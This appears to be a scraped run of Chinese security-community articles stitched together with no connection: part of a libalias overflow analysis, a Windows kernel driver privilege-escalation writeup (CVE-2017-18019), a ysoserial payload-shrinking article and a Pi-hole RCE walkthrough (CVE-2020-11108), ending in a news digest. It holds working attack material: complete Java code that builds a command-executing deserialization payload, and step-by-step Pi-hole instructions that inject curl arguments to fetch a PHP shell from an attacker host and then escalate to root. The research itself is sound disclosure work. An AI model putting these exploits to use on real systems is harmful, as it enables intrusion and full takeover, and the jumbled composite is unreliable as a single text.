越界访问发生在`alias_nbt.ko`中，这是已加载进内核的模块。
如果NAT配置是在用户空间的话，越界访问发生在`natd`进程的`libalias_nbt.so`中。这两种情况都可以远程触发，无需身份认证。
分析中我还发现一个惊喜。FreeBSD中的libalias包含这个漏洞的另一个变体，位于对[CuSeeMe](https://en.wikipedia.org/wiki/CU-SeeMe)协议的处理过程中，这个协议默认监听UDP端口7648。
AliasHandleCUSeeMeIn(...)
{
/* ... snip ... */
end = (char *)ud + ntohs(ud->uh_ulen); /* <--- untrusted UDP header length */
if ((char *)oc <= end) {
/* ... snip ... */
if (ntohs(cu->data_type) == 101)
/* Find and change our address */
for (i = 0; (char *)(ci + 1) <= end && i < oc->client_count; i++, ci++)
if (ci->address == (u_int32_t) alias_addr.s_addr) { /* <--- OOBR */
ci->address = (u_int32_t) original_addr.s_addr; /* <--- OOBW */
break;
}
}
}
然而，这个漏洞不存在于VirtualBox中，所以对FreeBSD的[补丁](https://www.freebsd.org/security/advisories/FreeBSD-SA-20:12.libalias.asc)和VirtualBox的补丁会有所不同。在`UdpAliasIn()`和`UdpAliasOut()`中都加入了验证，这里是处理UDP包的合适的层次，这样就把任何包含这种漏洞的协议都修补了。
## 0x03 总结
这次案例分析展示了维护第三方库以及共享代码何其之难。即使源代码打了补丁或者更新了，这些改动还必须反映到上游产品之中。就算你和第三方的代码同步了，共享代码里的一个漏洞反而会有双倍的影响，因为使用共享代码的双方都受到影响。Oracle
VirtualBox在用户和安全研究者中越来越受欢迎。再次感谢Vishnu Dev
TJ报告此漏洞和其他VirtualBox漏洞。我们期望在未来收到他的更多报告。 | 社区文章 |
原文地址：<https://labs.nettitude.com/blog/privilege-escalation-via-a-kernel-pointer-dereference-cve-2017-18019/>
不久前，我发现了一个安全漏洞，即[CVE-2017-18019](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18019 "CVE-2017-18019")，该漏洞影响到了[K7
Computing](https://www.k7computing.com/ "K7
Computing")公司以及[Defenx](https://www.defenx.com/
"Defenx")公司的多款Windows平台安全产品的内核驱动程序。这两家公司之所以同时受到了影响，因为它们使用了相同的防病毒引擎，不过，现在该漏洞已经被修复了。
对于该漏洞的POC来说，它们基于非法的内核指针解引用漏洞，最初只会导致系统蓝屏死机。当时，这项研究是由Securiteam提供赞助的，并且随后的漏洞披露协调工作也是由[Securiteam](https://ssd-disclosure.com/archives/3435
"Securiteam")处理的。事实证明，POC对于该漏洞的利用还可以更进一步，从而实现本地权限提升。因此，经Securiteam许可，我决定将这一过程详细展现给广大安全研究人员。
## Targeting
本文介绍的漏洞的攻击目标是64位Windows操作系统，即Windows 7 SP1 – Windows 10 v1809。
要想通过本文介绍的方法来利用该漏洞，需要具有中等完整性级别的访问权限。为了从低完整性级别来利用该漏洞，则必须设法泄漏某些内核指针。为此，可以通过目标驱动程序本身的其他IOCTL处理程序，或通过其他Windows驱动程序内核内存泄漏漏洞来完成这一任务。
## Bug Analysis
这个安全漏洞根源在于，易受攻击的函数的作者信任从用户提供的输入缓冲区中获取的、用于读取数据的指针——只要该指针引用的是内核地址空间内的地址即可。
易受攻击的函数从IOCTL的输入缓冲区中获取指针，并检查该指针的值是否大于或等于nt!MmHighestUserAddress（在x64系统中，其值为0x00007ffffffeffff）。如果上面的条件成立，那么函数将对该指针解除引用，以访问该内存地址处的第一个字节的内容。
很明显，该项检查的目的（即使实现是错误的）是验证将用于读取更多信息的指针地址位于内核内存中，从开发人员的角度来看，其虚拟地址和内容应该无法被用户看到和控制。当然，这并不完全正确，因为内核对象地址也可能泄漏，并且，它们也可能直接或间接引用用户提供的数据。
下面给出了上面描述的内容对应的代码。
图1：验证是否为内核指针。
只要提供一个引用未分配的内存页的内核指针，就能轻松地让主机崩溃。
下图显示了发生内存非法访问时Windbg的输出内容。
图2：对任意内核指针的解除引用。
## Further Analysis
到目前为止，我们知道该漏洞可以用来发动拒绝服务攻击：任何用户都可以触发该漏洞，从而使主机发生崩溃。因此，我们可以对这个函数做进一步的分析，看看能否挖掘更多的用途。
下面展示的是图1后面的代码。
图3：内核内存缓冲区数据检查。
假设RCX指向第一个字节内容为0x4B的有效内核地址，这样的话，前面的检查便可以顺利通过（cmp byte ptr [rcx],
4Bh），这时，我们就能进入易受攻击函数的第二部分，具体如上图所示。
我们注意到，这里又对字节值进行了进一步的检查，因此，为了访问代码的后面部分，必须让RCX引用的缓冲区的第二个字节的值为0xFF。
图4：任意函数指针调用。
我们发现，对指针进行相应的解除引用后，该函数会将最后一个指针作为函数指针处理。我们还注意到，传递给RCX和RDX的第一个和第二个参数也是可以控制的。
更具体地说，第一个参数取自处于我们控制之下的任意内核指针所引用的缓冲区，第二个参数指向通过调用DeviceIoControl函数定义的用户输入缓冲区。
## Setting things up
为了进一步利用该漏洞，我们必须掌握所需的全部信息。为此，我们必须知道内核对象的地址，并能够在一定程度上控制其内容。如前所述，用于读取其余数据并导致一个函数指针被调用的初始指针必须引用内核地址空间范围内的地址。
在前一篇[文章](https://labs.nettitude.com/blog/exploiting-a-kernel-paged-pool-buffer-overflow-in-avast-virtualization-driver/ "文章")中，我们讨论了[ Private
Namespaces ](https://docs.microsoft.com/en-gb/windows/desktop/Sync/object-namespaces " Private Namespaces
")以及在相关内核对象的主体中插入用户定义数据的方法。我们将使用这种类型的对象来利用这里的安全漏洞，因为就这里来说，这种利用方式也非常稳定。
为了利用该漏洞，我们将使用上述类型的两个内核对象。第一个对象用于控制后续指针解引用，以便让我们可以调用任意函数指针；而第二个对象将用于控制初始内核指针检查，它必须引用内存中已知内核对象（第一个对象）。
## Exploitation in Windows 7 SP1 x64
在没有诸如SMEP（管理员模式执行保护）之类的安全防御机制的情况下，这个漏洞利用起来非常简单。我们可以在用户空间中执行我们的payload代码，而无需采取任何额外步骤，例如暂时禁用SMEP等。实际上，我们只需要能够控制指令指针就足够了。
首先，我们可以使用随机的边界名称来创建一个Private Namespace对象，然后使用NtQuerySystemInformation函数泄漏其地址。
图5：第一个对象（Win7 SP1 x64）。
然后，我们将使用精心设计的边界名称来创建另一个相同类型的对象。
需要注意的是，第一个字节和第二个字节的值必须分别为0x4B和0xFF（见图1和3），以满足字节值检查的要求。此外，在精心设计的边界名称的偏移0x0A（图4：第一个指针解引用）内，我们将插入第一个对象的地址+该地址与边界名称的位置之间的距离（以字节为单位，即0x1a0）+任意偏移量（0x1A），即包含可以转换为用户空间指针的值，以满足该版本的Windows的POC的要求。请注意，考虑到上一次计算的结果，需要加上值0x0C，以使其成为指向用户空间的指针值（图4：第二个指针解除引用）。
图6：第二个对象（Win7 SP1 x64）。
让我们仔细看看这两个对象是如何“相互连接”的。
图7.对象互连（Win7 SP1 x64）。
最后，我们可以看到这个函数指针将被调用，从而执行我们在地址0x1010000处的payload代码。
图8：调用Payload函数指针（Win7 SP1 x64）。
## Exploitation in Windows 8.1 – 10 v1809 x64
在最新版本的Windows系统中，由于已添加了相应的漏洞利用缓解措施，所以，利用内核驱动程序的漏洞会非常棘手。在这种情况下，我们可以通过调用任意函数来控制执行流程。但是，由于SMEP的缘故，我们无法从内核模式直接执行用户地址空间中的代码，因此，我们将不得不采取其他方法。
一个常见的解决方案是，尝试通过清除特定处理器的CR4寄存器中的第20位来暂时禁用SMEP，并将我们的线程执行锁定为仅在该处理器上运行，以便我们可以像以前一样在用户地址空间中执行payload。但是，为了避免KPP（Kernel
Patch Protection/PatchGuard）杀死主机，我们必须恢复CR4。
接下来，我们要使用的另一种方法是利用执行流控制将其转换为“write-what-where”原语，一旦实现了这一点，我们就能够修改内核内存中的任意数据，从而可以继续借助两种常见的方式来实现提权。
第一种方式是使用NULL值覆盖作为SYSTEM运行的提权进程的对象头部中的SD（安全描述符）指针。这将允许非特权进程在同一安全上下文中注入并执行恶意代码。但是，此方法仅适用于Windows
10 v1511（Build
10586）及更早的版本，详情请参考这篇[文章](https://labs.nettitude.com/blog/analysing-the-null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest-windows-10-v1607-build-14393/ "文章")。
利用“write-what-where”原语的另一种方法，是在非特权进程的主令牌中启用特权，以使其能够在作为SYSTEM运行的进程的安全上下文中注入和执行代码。目前，该方法仍然可以正常使用，但对于Windows
10 v1709（Build 15063）之后的版本来说，需要稍作修改，详情请参考这篇[文章](http://www.anti-reversing.com/ntoskrnl-v10-0563_nt_sep_token_privileges-single-write-eop-protect/ "文章")。我们在这里要描述的内容同样适用于Windows 7。
此外，一旦我们的任意函数被调用，我们就能够控制在RCX和RDX中传递的前两个参数（参见图4）。这一点，马上就会在后面用到。
在这种情况下，我们首先需要泄漏进程的主令牌的地址，以启用其他权限。我们将使用该地址作为漏洞利用原语的目标。与Windows
7中一样，NtQuerySystemInformation可以利用用户进程的标准“中等完整性”权限完成同样的事情，以泄漏所需的内核对象和函数地址。
然后，我们将创建具有自定义边界名称的第一个Private
Namespace对象，其中前8个字节将设置为用于修改任意内核数据的“gadget”的内核地址。因此，我们不是在用户地址空间中执行payload，而是将执行流程重定向到内核函数nt!RtlCopyLuid，这样我们能够修改任意内核数据了。
图9：内核函数nt!RtlCopyLuid。
由于我们能够控制RCX和RDX寄存器，因此，我们可以使用这个函数来实现“write-what-where”原语。
同样，我们还需要第二个Private
Namespace对象，其自定义边界名称在名称数据的偏移量0x0A处（图8：第一个指针取消引用）必须包含第一个对象的地址+该地址与边界名称在该对象中的位置之间的、以字节为单位的距离（0x1a0）。别忘了，我们在第一个Private
Namespace对象的边界名称的前8个字节中插入了nt!RtlCopyLuid函数的地址。请注意，和以前一样，我们必须考虑上一次计算的结果，所以要加上值0x0C，使其指向任意内核函数指针值（图8：第二个指针解除引用）。
所以，它看起来应该是这样的：
*(ULONG_PTR*)(boundaryName + 0x0A) = customPrivNameSpaceAddress + boundaryNameOffsetInDireObject - 0x0C;
此外，我们还需要控制前两个参数。
加载到RCX中第一个参数是从我们的自定义边界名称中读取的，偏移量为2（自定义边界名称的前两个字节必须为0x4B和0xFF）。因此，我们需要将其设置为进程令牌对象的地址+偏移量（0x40），以使其指向nt!_SEP_TOKEN_PRIVILEGES结构成员。
图10：nt!_SEP_TOKEN_PRIVILEGES结构成员。
它应该如下所示：
*(ULONG_PTR*)(boundaryName + 0x02) = tokenAddress + 0x40;
最后，我们还可以控制RDX，因为R12的值被copied
over，它指向我们的用户地址空间的输入缓冲区地址+0x10处（参见图1中的第6个节点）。这是我们从中读取数据，写入任意内核地址的地方。就这里来说，我们将覆盖上述结构的“Enabled”和“Present”特权成员（图10）。
它应该如下所示：
*(unsigned __int64*)(inputBuf + 0x10) = _ULLONG_MAX;
因此，我们的漏洞利用代码必须两次reach易受攻击的函数才能完成攻击。
图11：对象互连——Write-What-Where。
上图显示了两个对象如何“互连”以实现“write-what-where”原语，进而实现漏洞利用。
## Conclusion
本文为读者介绍了一个非常有趣和非常值得研究的安全漏洞，它再次表明，任何输入数据都不应该被盲目地信任。从开发人员的角度来看，信任用于从用户无法控制的地方读取数据的内核指针是一个“安全”的决定。然而，在使用相同SDK的两个不同供应商的多款产品中，它却变成了一个严重的安全漏洞。 | 社区文章 |
## 缩小ysoserial payload体积的几个方法
ysoserial中不少payload使用`TemplatesImpl`进行构造，在学习ysoserial的过程中，发现可以通过修改`createTemplatesImpl`方法的一些代码使ysoserial生成的payload更小一些。
先看下ysoserial中createTemplatesImpl方法的主要流程，首先创建一个TemplatesImpl对象，使用javassist开始构造恶意类，首先获取一个ClassPool对象，将`StubTransletPayload`类和`AbstractTranslet`类添加到pool的类加载路径中，然后获取`StubTransletPayload`类，并使用javassist对类进行修改，插入静态代码块，然后将父类设置为`AbstractTranslet`，设置TemplatesImpl对象的`_name`,`_tfactory`,`_bytecodes`字段。
以下测试使用CommonsCollections3生成payload执行`open /Applications/Calculator.app`命令
### 1\. 修改_bytecode字段内容
在ysoserial中，_bytecode数组中包含两个元素，一个是用于代码执行的类，另外一个是没有内容的类，跟进`TemplatesImpl`类的`defineTransletClasses`方法。
与命令执行相关的两个重要的字段分别是`this._class`和`this._transletIndex`，这段代码对_bytecode数组中的类进行遍历，如果类的父类是AbstractTranslet类，那么就把_transletIndex设置成对应的index,所以只要恶意类在_bytecode数组中，并且父类是AbstractTranslet即可
于是可以将
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});
修改为以下代码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
生成的payload从3562字节缩小到3084字节
### 2\. 删除_tfactory字段
ysoserial中对`_tfactory`进行了赋值
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
在`TemplatesImpl`类中`_tfactory`字段被transient修饰，是不参与序列化的，所以可以直接删除，既然是不参与序列化的，所以删除之后payload大小不会发生改变
### 3\. 修改StubTransletPayload类
StubTransletPayload类代码继承了AbstractTranslet实现序列化接口，并重写了transform方法。
上边提到了恶意类的父类必须是AbstractTranslet，但是生成的类，被转化成了字节码存在了_bytecodes中，所以序列化过程也没有他什么事情，就可以去掉Serializable接口了
StubTransletPayload通过直接extends方式指定父类是AbstractTranslet，为了编译通过就得实现+重写这一堆transform方法，但是实际上在TemplatesImpl类中，只需要类的父类是AbstractTranslet就可以了,只需要保留个类名就可以了
public static class StubTransletPayload {}
生成的payload从到3084字节缩小到2177字节
### 4\. 使用javassist创建类
直接使用javassist创建一个类看下会有什么效果
使用
final CtClass clazz = pool.makeClass("StubTransletPayload");
代替
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
...
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
生成的payload从到2177字节缩小到1912字节
看下使用写好的StubTransletPayload和使用javassist直接创建类的区别
直接使用StubTransletPayload类
使用javassist直接创建
可以看到constant_pool中少了很多内容
### 最终代码
private static Object createTemplatesImpl() throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, IOException, NoSuchFieldException {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = classPool.makeClass(String.valueOf(System.nanoTime()));
String string = "java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");";
clazz.makeClassInitializer().insertAfter(string);
CtClass superC = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bcField.setAccessible(true);
bcField.set(templates, new byte[][] {classBytes});
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "a");
clazz.writeFile();
return templates;
}
还可以更小一点，比如用javassist创建类的时候把类名设置成1
遇到的一些小问题:
在测试中分别看了下用静态代码块和构造函数，如果用javassist直接创建类，可以直接用
CtConstructor ctConstructor = new CtConstructor(new CtClass[] {}, clazz);
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
clazz.addConstructor(ctConstructor);
添加一个构造器，如果修改已经写好的类，因为对没有显示指定构造方法的类编译器在编译时会自动给加上默认的构造方法，所以不能直接增加这样一个构造方法，需要先删除编译器加上的默认构造方法，或者直接对他进行修改
CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
clazz.removeConstructor(ctConstructor);
CtConstructor newCtConstructor = new CtConstructor(new CtClass[] {}, clazz);
newCtConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
clazz.addConstructor(newCtConstructor);
或
CtConstructor ctConstructor = clazz.getDeclaredConstructors()[0];
ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"open /Applications/Calculator.app\");");
学习ysoserial过程中的一些想法吧，虽然把payload缩小点实际也用处不大，了解下万一以后有机会用的到了呢。 | 社区文章 |
原文地址：<https://frichetten.com/blog/cve-2020-11108-pihole-rce/>
以下是CVE-2020-11108的writeup，Pi-hole
Web应用程序的认证用户可以通过CVE-2020-11108漏洞实现远程代码执行并提权为root。此漏洞影响Pi-hole
v4.4及更低版本。这是我使用多年的一个开源项目中，一个令人兴奋的发现。
所有漏洞都是通过手动代码审计发现。请注意，技术上来讲有两条路径可以获取远程代码执行，但是它们是相似的，并且依赖于同一个易受攻击的函数调用。
这篇文章分为两部分，第一部分简要概述如何利用这些漏洞，第二部分是漏洞的发现和技术分析。
完整的PoC利用在[这里](https://github.com/frichetten/CVE-2020-11108-PoC "这里")。
# Manual Steps to Exploit
**可靠的RCE** ：此漏洞利用方式不依赖任何特殊条件，只需要通过应用程序的身份验证，并且在默认安装的Pi-hole中有效。
**步骤1** ：打开"Settings > Blocklists"
**步骤2** ：禁用当前所有的拦截列表（加快速度），然后输入以下payload作为新URL。
`http://192.168.122.1#" -o fun.php -d "`
其中的IP地址是您所控制的地址。请注意，`＃`是必需的，并且`-d`之后的空格也是必需的。输入后点击保存。
**步骤3** ：使用netcat监听80端口（可以修改payload以支持其他端口，但是更改后对'：'字符的一些后端解析更令人烦恼，不值得更改）
**步骤4** ：点击"Save and Update"
**步骤5**
：几秒钟后，将会收到一个GET请求。返回一个200响应（这是必需的），按下回车，输入任意内容（只是为了提供一些数据），再按两次回车，然后Ctrl+c。
**步骤6**
：再使用netcat监听80端口，然后点击"Update"再次更新Gravity。这次应该会在响应中看到“.domains”，这表明到目前为止都正确完成了漏洞利用。按下回车，然后粘贴你想用的任意PHP
payload。调用Shell函数非常好用，然后Ctrl+c kill掉netcat。
**步骤7** ：如果你用的payload是一个反弹shell，请设置监听器。然后curl `/admin/scripts/pi-hole/php/fun.php`。这将触发payload。恭喜，你刚刚已在Pi-hole上实现了RCE！
**有条件的RCE** ：为了利用此漏洞，除了要通过Web应用程序认证之外，Pi-hole服务还必须将其[BLOCKINGMODE](https://docs.pi-hole.net/ftldns/blockingmode/
"BLOCKINGMODE")配置设置为NXDOMAIN。将在技术分析中对此进行详细说明。
**步骤1** ：打开“Settings > Blocklists”
**步骤2** ：禁用当前所有的拦截列表（加快速度），然后输入以下payload作为新URL。
`http://192.168.122.1#" -o fun.php -d "`
其中IP地址是您所控制的地址。请注意，`＃`是必需的，并且`-d`之后的空格也是必需的。输入后单击保存。
**步骤3** ：使用netcat监听80端口（可以修改payload支持其他端口，但是更改后对'：'字符的一些后端解析更令人烦恼，不值得更改）
**步骤4** ：点击“Save and Update”
**步骤5**
：几秒钟后，你将会收到一个包含':80:'的GET请求。这表明BLOCKINGMODE已设置为NXDOMAIN，并且已成功利用该漏洞。按下回车，然后粘贴你想用的任意PHP
payload。调用Shell函数非常好用，然后Ctrl+c kill掉netcat。
**步骤6** ：如果你用的payload是一个反弹shell，请设置监听器。然后curl `/admin/scripts/pi-hole/php/fun.php`。这将触发payload。恭喜，你刚刚已在Pi-hole上实现了RCE！
**权限提升** ：在获得一个shell后，你可以通过以下方式提升权限。
**步骤1** ：重新执行上述任意一个漏洞利用方式，这次将覆盖teleporter.php（而不是写入fun.php）。
`http://192.168.122.1#" -o teleporter.php -d "`
**步骤2** :使用之前获得的shell，运行`sudo pihole -a -t`（www-data有一个sudo规则来调用pihole），该命令将以root身份调用teleporter.php。如果你已经使用反弹Shell
payload（如上面的例子）将其覆盖，那么你将获得root权限。
# Discovery
最初的发现纯属偶然。在之前的[文章](https://frichetten.com/blog/escalating-deserialization-attacks-python/
"文章")中，我介绍了如何对Python执行反序列化攻击。作为后续，我想在PHP应用程序中复制这一点。在写那篇文章时（我发誓它终将到来！），我开始研究我在家庭网络上运行的一些使用
PHP 的应用程序。
经过反复挑选后，我最终选择了Pi-hole实例。如果你以前从未用过，Pi-hole是一个专用的DNS服务器，设备可以使用它来拦截广告和恶意域名。有了它，你可以轻松地在整个网络范围内屏蔽广告，而不必依赖浏览器插件之类的东西。
我开始查看[代码](https://github.com/pi-hole/AdminLTE
"代码")，寻找实施反序列化攻击的机会，但最终非常失望（没有一个可以利用的反序列化函数）。我的下一个想法是寻找机会利用[phar stream
wrappers](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf "phar stream
wrappers")。在仔细查看app时，我注意到可以使用用户选择的拦截列表（Settings > Blocklists）。
我测试了一个phar stream wrapper，似乎可以利用（剧透警告：不能）。
看到这一点后，我心想：“好吧，我们可以定义协议（例如，http vs
https）。我敢打赌后端的PHP会向这些域名发出GET请求，提取内容，然后添加到拦截列表中。我想知道它是否会处理这种phar stream
wrapper？”。
我拉取了程序源代码，很惊讶地发现情况并非如此。相反，PHP实际上调用pihole
CLI工具来更新拦截列表。然后我查看了代码库，并在[gravity.sh](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L219
"gravity.sh")中发现了gravity_DownloadBlocklistFromUrl函数。
在执行这个函数时，我发现实际的下载是通过[curl](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L277 "curl")完成的。
这就是所有乐趣的开始。您会注意到，有很多变量会受到影响。
# Technical Analysis
为了追踪利用路径，我们需要检查这些参数并理解curl如何解析它们。下面是我们应该研究的内容的简化格式（从利用的角度）。
`curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"`
你可能会发现的第一件事是cmd_ext和heisenbergCompensator没有用引号引起来，这为我们提供了将参数注入curl的机会。如果你曾经利用过类似的东西（讽刺的是，我有过在curl请求中滥用参数的经历），那么有两个特别有用的参数：`-o`输出，`-x`代理。
为了使事情对我们更有利，curl命令将以root身份运行，意味着我们可以在任何地方写入文件（稍后详细介绍）。由于此脚本由PHP在Web目录中调用，因此任何用`-o`编写的文件都将写入Web目录中。如果我们可以控制参数和内容，那么就可以确保远程代码执行。另一件事是，Curl将优先考虑参数的输入顺序，首先输入的参数将会先被执行。因此`curl
-o a -o b https://frichetten.com`将会把输出写入到a中。
这使得我们仔细研究了没有用引号引起来的两个参数，最终也有两种注入方式。
首先，我们来看看heisenbergCompensator。如果saveLocation变量是一个有效文件，那么会在gravity.sh的第[238](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L238
"238")行设置heisenbergCompensator。如果它是有效/可读的，那么saveLocation变量将用于构造heisenbergCompensator。这是在上一个[函数](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L205
"函数")（gravity_SetDownloadOptions）中设置的，并且是由多个变量构造的。
`saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"`
因为我们控制了输入，所以我们可以能够创建带有空格和其他参数的域名。这应该不会对文件名造成问题，并且这些空格可以使我们向curl命令注入自己的参数。为了利用这个，我们使用了以下payload。
`http://192.168.122.1#" -o fun.php -d "`
这个域名被解析时双引号将被提取。因此，在curl时，变量是这样的，heisenbergCompensator = `-z
/etc/pihole/list.0.192.168.122.1# -o fun.php -d .domains`。
现在，正如您回顾的那样，heisenbergCompensator变量是在验证文件是否存在之后设置。对我们而言，好消息是，更新一次gravity就足以写入下图所示的文件。
唯一要注意的是，我们必须以200 OK进行响应，以确保文件被写入。根据第[290](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L290
"290")行，这是必须的。
`-d`参数用来处理附加的额外数据。第二次更新Gravity时，curl请求将包含注入的参数并将我们的payload写入Web目录。
你可能想知道是否可以利用这个漏洞来覆盖SSH配置、/etc/shadow或其他文件。不幸的是，我没有找到方法来写入除Web目录之外的其他任何目录。作为后端解析的一部分，所有“/”字符都被正则表达式过滤掉。我花了不少时间来尝试解决此问题，但是没有成功（如果你找到方法，请告诉我）。
这就解决了 heisenberg compentator
的问题，那么cmd_ext呢？坏消息是，仅当BLOCKINGMODE设置为NXDOMAIN时才设置此参数。尽管这是有效的配置，并且由开发人员支持，但它不是Pi-hole附带的默认配置。
但是，如果设置了它，利用方式实际上比上一个方法更容易。cmd_ext在第[274](https://frichetten.com/blog/cve-2020-11108-pihole-rce/:ghttps://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/gravity.sh#L274
"274")行定义，构造如下。
`cmd_ext="--resolve $domain:$port:$ip"`
因此，我们可以使用之前构造的payload作为域名。引入的空格将使我们能够注入参数，并且使用`-d`参数来处理用于解析的其余数据（特别是':80:'）。
# Escalating Privileges
两种RCE都能达到相同的效果，即得到以www-data用户身份运行的Pi-hole主机上的shell。
从这里开始，我们要提升权限。与开发人员交谈后，他们提到了一种先前公开的权限提升方法，与某些Bash
trickery有关。这是一个非常聪明的方法，但是我真的很想找到自己的方式。
如果你只是看了Pi-hole Web应用程序的源代码，你可能会惊讶地发现它定期调用`sudo pihole`。这是否意味着www-data是没有密码的sudo用户？不，对我们来说很不幸，事实并非如此。但是，www-data确实有一个sudo规则来运行`pihole`命令！
这感觉像是 CTF
中的一个提示，显然我必须使用pihole脚本本身来进行权限提升。你应该知道的一点是，它实际上是一个Bash脚本，它调用/opt/pihole中的其他Bash脚本。所有都属于root用户，因此很遗憾，我们不能修改其中一个脚本，然后使用sudo运行它。
在浏览这些脚本时，我注意到了一些同样不错的东西。在`/opt/pihole/webpage.sh`中，在第[547](https://github.com/pi-hole/pi-hole/blob/9e490775ff3b20f378acc9db7cec2ae6023fff7f/advanced/Scripts/webpage.sh#L547
"547")行,脚本调用了Web目录中的PHP文件。
从这里开始游戏变得简单，我们可以重复之前的漏洞利用，这次覆盖了teleporter.php。 然后，当我们运行`sudo pihole -a
-t`,它调用在teleporter.php和viola中的payload，然后我们就获得了root权限！
总体而言，这是一次很棒的hacking，我希望我能够解释出它为什么很棒，哪怕只有10％。其中大部分都归结为寻找能够满足后端要求的边缘案例（这个payload迭代了很多轮，直到它生效。最初的版本是使用大括号）。
非常感谢Pi-hole核心团队，感谢他们支持我探索不同的选择以及不断扩展最初的利用方式！
# Disclosure Timeline
2020年3月29日：联系Pi-hole团队
2020年3月29日：Pi-hole核心团队确认了该报告
2020年3月30日：与团队会面，提供更多信息/跟踪问题
2020年3月30日：Mitre分配了CVE-2020-11108
2020年3月31日：通过heisenbergCompensator发现第二种RCE方法
2020年4月2日：发现并提交权限提升bug
2020年5月10日：Pi-hole团队允许我分享bug和PoC | 社区文章 |
# 3月21日安全热点 – Windows远程协助可帮助黑客窃取敏感文件
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Windows远程协助可帮助黑客窃取敏感文件
<https://thehackernews.com/2018/03/window-remote-assistance.html>
AMD利用固件补丁清理芯片组安全漏洞
<https://www.theregister.co.uk/2018/03/21/amd_brushes_off_chip_flaws/>
旅游网站Orbitz已被黑客恶意窃取数据长达两年，大量用户信息被泄露
<https://news.hitb.org/content/orbitz-says-hacker-stole-two-years-worth-customer-data>
Coverity扫描被黑客攻击，被滥用于Cryptocurrency挖掘
<https://www.securityweek.com/coverity-scan-hacked-abused-cryptocurrency-mining>
弗罗斯特银行遭受数据泄露，可被伪造支票
<http://securityaffairs.co/wordpress/70468/data-breach/frost-bank-security-breach.html>
研究人员证明Ledger Nano S钱包如何受到攻击
<https://thenextweb.com/hardfork/2018/03/20/ledger-nano-s-hack-cryptocurrency/>
机器人控制程序面临漏洞攻击
<https://threatpost.com/programs-controlling-ics-robotics-are-wide-open-to-vulnerabilities/130564/>
电脑喇叭也可泄漏资料
<https://blog.trendmicro.com.tw/?p=54912>
Apple解决WebKit中的HSTS用户跟踪问题
<https://www.securityweek.com/apple-addresses-hsts-user-tracking-webkit>
## 技术类
MsraMiner 曝光72小时内的更新
<http://blog.netlab.360.com/msraminer-uipdates-in-72-hours-after-disclose/>
FaceBook的存储型XSS漏洞
<https://www.anquanke.com/post/id/101419>
JbossMiner 挖矿蠕虫分析
<https://xianzhi.aliyun.com/forum/topic/2189>
TeleRAT：又一个Android木马利用电报的Bot API来攻击伊朗用户
<https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/>
Red Team Tales 0x01：从MSSQL到RCE
<https://www.tarlogic.com/en/blog/red-team-tales-0x01/>
WordPress网站编辑器1.1.1本地文件包含
<https://cxsecurity.com/issue/WLB-2018030161>
IBM Spectrum LSF权限升级
<https://cxsecurity.com/issue/WLB-2018030160>
Microsoft Windows – 桌面网桥虚拟注册表NtLoadKey任意文件读取/写入权限升级
<https://www.exploit-db.com/exploits/44315/>
Unix机器上的权限升级通过文本编辑器的插件
<https://www.helpnetsecurity.com/2018/03/20/privilege-escalation-unix/>
ES2018-05 Kamailio堆溢出
<https://www.securityfocus.com/archive/1/541874>
信息收集的最佳工具——Th3inspector
<https://github.com/Moham3dRiahi/Th3inspector>
## 以下热点来自360CERT
【安全事件】
1.以太坊生态缺陷导致的一起亿级代币盗窃大案
<http://t.cn/RnMHfKe>
2.Frost银行支票图像泄漏，可被用于支票伪造
<http://t.cn/RnIN9QN>
3.俄罗斯APT在能源行业攻击中攻破了Cisco路由器
<http://t.cn/RnMvKdf>
【安全研究】
1.攻破Ledger硬件钱包的分析
<http://t.cn/RnIYxDG>
2.通过MSSQL注入使用certutil来泄露命令输出
<http://t.cn/RnMv0eG>
3.用Binary Ninja去混淆跳转链
<http://t.cn/RnMvl64>
4.如何解密您的EBS应用程序密码
<http://t.cn/RnMvTvv>
5.基于区块链的智能合约的安全性II – 已知的漏洞和陷阱
<http://t.cn/RnMv8mB>
6.Linux堆利用系列第一部——free()技术
<http://t.cn/Rn2EyXA>
【安全资讯】
1.9年来，火狐浏览器均未能保护主密码的安全
<http://t.cn/RncbNAr>
2.TDS 系统是网络犯罪分子的下一棵摇钱树
<http://t.cn/Rn4ANny>
3.IBM开发世界上最小的计算机，小于一口盐
